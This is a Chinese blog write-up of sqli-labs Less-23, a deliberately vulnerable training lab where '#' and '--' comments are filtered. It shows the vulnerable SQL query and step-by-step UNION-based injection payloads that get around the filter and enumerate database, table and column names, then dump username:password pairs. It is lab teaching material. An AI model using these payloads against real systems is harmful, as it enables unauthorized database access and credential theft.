sqli-labs-Less-23

sqli-labs 实验记录

Less-23

这一关又回到了get注入方式,与之前的关卡不同的是,这一关采用了过滤"#"、"--"符号,导致之前所使用的注释符无法起到作用。破解的基本思路是构造一条特殊查询语句,使得SQL语句起到想要的效果。

第一步:查找注入点

打开网页之后,提示输入id号,我们按照提示输入id=1。

结果如图如示:网页返回用户名:Dump与密码:12。

首先我们采用之前的方法,输入"-1' union select 1,2,3#",页面返回语法错误。

查询原代码之后发现,过滤了"#"与"--",使得原先的注释符不起作用,但同时,我们也发现了SQL查询语句,通过构造特殊的查询语句,也可以达到想到的效果。

通过观察上述原代码中的SQL查询语句:

复制代码
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1"

输入payload:

复制代码
-1' union select 1,2,3 and '1'='1

使得这句SQL查询语句变为下列语句:

复制代码
$sql="SELECT * FROM users WHERE id='-1' union select 1,2,3 and '1'='1' LIMIT 0,1"

这一关的核心破解思路是由条语句演变而来:

通过分析这条语句,我们可以看出,这条语句由三部分组成,第一部分id='-1',主要作用是让查询数据失效,执行我们想要的第二部分语句,即"union select 1,2,3",这条语句是最主要的查询语句,后续查询数据库与表、列名等数据都是通过修改这条语句实现的。第三部分是'1'='1,主要作用是与原代码中的limit语句相接,使之构成一条完整的SQL查询语句,保持语法的正确。

第二步:查询数据库名、表名、列名以及其它具体数据的

由上述语句进一步修改,可以得到查询数据库名、表名、列名以及具体数据的方法。

  • 查询数据库名

    复制代码
    -1' union select 1,database(),3 and '1'='1
  • 查询表名

    复制代码
    -1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='security'),3 and '1'='1
  • 查询列名

    复制代码
    -1' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),3 and '1'='1
  • 查询具体数据

    复制代码
    -1' union select 1,(select concat(username,':',password) from security.users limit 0,1),3 and '1'='1

如果需要继续查找其它数据,只需将"limit 0,1"中的'0',进行相应的修改,如"limit 1,1","limit 2,1"等等。

相关推荐
2301_775639891 小时前
mysql如何查看服务器支持的存储引擎_使用SHOW ENGINES命令
jvm·数据库·python
a7963lin1 小时前
html标签怎样表示搜索框_input type=search语义优化【操作】
jvm·数据库·python
a7963lin1 小时前
Python数据分析如何识别异常值_IQR四分位距检测法实战
jvm·数据库·python
m0_613856291 小时前
如何解决宝塔面板Web端文件管理器打开目录时反应极其缓慢
jvm·数据库·python
阿丰资源1 小时前
基于Spring Boot的新闻推荐系统(源码+数据库+文档)
数据库·spring boot·后端
m0_613856291 小时前
mysql如何优化重复索引_mysql冗余索引查找与处理
jvm·数据库·python
四维迁跃1 小时前
Python Web开发如何防范SQL注入_使用参数化查询与ORM实践
jvm·数据库·python
2401_833033621 小时前
如何自动更新SQL标签状态_利用触发器实现基于逻辑的状态机
jvm·数据库·python
2401_831419441 小时前
mysql如何优化数据库文件写入速度_配置innodb刷盘策略
jvm·数据库·python
YaBingSec2 小时前
玄机网络安全靶场:Hadoop YARN ResourceManager 未授权 RCE WP
大数据·数据库·hadoop·redis·笔记·分布式·web安全